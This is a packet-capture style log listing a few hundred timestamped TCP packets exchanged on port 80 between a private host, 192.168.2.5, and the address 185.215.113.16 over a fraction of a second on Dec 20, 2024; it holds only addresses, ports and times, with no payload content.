Dec 20, 2024 02:11:10.594813108 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.594902039 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.594954014 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.597465038 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.597521067 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.597551107 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.597600937 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.600096941 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.600151062 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.600187063 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.600388050 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.602746010 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.602821112 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.602859974 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.602910995 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.605460882 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.605509996 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.605549097 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.605597973 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.710720062 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.710807085 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.710840940 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.710894108 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.711848021 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.711927891 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.711997986 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.712055922 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.714072943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.714128017 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.714206934 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.714258909 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.716341019 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.716402054 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.716473103 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.716530085 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.718502998 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.718558073 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.718624115 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.718672991 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.720689058 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.720746994 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.720788002 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.720845938 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.722857952 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.722929001 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.722959995 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.723010063 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.724956036 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.725016117 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.725019932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.725070953 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.727061987 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.727119923 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.727179050 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.727229118 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.729079962 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.729142904 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.729180098 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.729228973 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.731107950 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.731184006 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.731275082 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.731372118 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.733122110 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.733203888 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.733222008 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.733277082 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.735114098 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.735169888 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.735225916 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.735275984 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.737159014 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.737212896 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.737247944 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.737293005 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.739135027 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.739187956 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.739248037 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.739295006 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.741154909 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.741219997 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.741225004 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.741274118 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.743169069 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.743242025 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.743302107 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.743364096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.745179892 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.745229006 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.745322943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.745372057 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.747201920 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.747260094 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.747294903 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.747355938 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.749160051 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.749226093 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.749265909 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.749320984 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.751162052 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.751215935 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.751256943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.751310110 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.753207922 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.753273964 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.753315926 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.753364086 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.755203962 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.755268097 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.755306005 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.755350113 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.757226944 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.757318974 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.757417917 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.757417917 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.759232998 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.759293079 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.759308100 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.759352922 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.761235952 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.761306047 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.761342049 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.761399031 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.763228893 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.763343096 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.763345957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.763415098 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.765242100 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.765327930 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.765367985 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.765422106 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.767275095 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.767347097 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.767350912 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.767409086 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.769243956 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.769306898 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.769336939 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.769398928 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.771245003 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.771307945 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.771555901 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.771621943 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.773224115 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.773294926 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.773323059 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.773384094 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.775274992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.775353909 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.775383949 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.775439978 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.777326107 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.777393103 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.777396917 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.777456045 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.779268026 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.779405117 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.779890060 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.781255007 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.781323910 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.781382084 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.781440020 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.783298016 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.783345938 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.783376932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.783452988 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.785295010 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.785356045 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.785393953 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.785448074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.787377119 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.787442923 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.787457943 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.787512064 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.789321899 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.789391041 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.789427042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.789479971 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.791311026 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.791383982 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.791419983 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.791480064 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.793319941 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.793384075 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.793483973 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.793541908 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.795360088 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.795433044 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.795463085 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.795521021 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.797418118 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.797455072 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.797487974 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.797518015 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.799350977 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.799413919 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.799458027 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.799520969 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.801361084 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.801424026 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.801513910 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.801573992 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.803355932 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.803417921 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.803484917 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.803544044 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.805381060 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.805455923 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.805493116 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.805550098 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.807368994 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.807427883 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.807517052 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.807570934 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.809391022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.809448957 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.809495926 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.809549093 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.811376095 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.811443090 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.811481953 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.811542988 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.813385010 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.813443899 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.813503027 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.813558102 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.815390110 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.815464020 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.815494061 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.815548897 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.817429066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.817475080 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.817492008 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.817549944 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.819387913 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.819504976 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.902879000 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.902977943 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.902990103 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.903142929 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.903615952 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.903680086 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.903990984 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.904053926 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.904092073 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.904156923 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.905683041 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.905747890 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.905786037 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.905847073 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.907402992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.907463074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.907490015 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.907546997 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.909109116 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.909173012 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.909214020 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.909271002 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.910789967 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.910847902 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.910857916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.910897017 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.912427902 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.912488937 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.912523031 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.912575960 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.914037943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.914099932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.914407015 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.914468050 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.915669918 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.915733099 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.915747881 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.915803909 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.917215109 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.917277098 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.917315960 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.917366028 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.918795109 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.918854952 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.918874979 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.918927908 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.920334101 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.920397043 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.920515060 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.920577049 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.921866894 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.921932936 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.922020912 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.922080994 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.923401117 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.923460960 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.923532963 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.923593044 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.924915075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.924973965 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.925004005 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.925065994 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.926403999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.926467896 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.926510096 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.926561117 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.927875042 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.927936077 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.927999020 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.928102016 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.929328918 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.929395914 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.929558992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.929610968 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.930811882 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.930876970 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.930912971 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.930963039 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.932286024 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.932353973 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.932403088 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.932456970 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.933655977 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.933727980 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.933861971 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.933933020 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.935090065 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.935159922 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.935210943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.935267925 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.936541080 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.936603069 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.936635971 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.936666012 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.937900066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.937973022 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.938002110 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.938055992 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.939275026 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.939359903 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.939395905 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.939512014 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:10.940665007 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:10.940733910 CET	49831	80	192.168.2.5	185.215.113.16
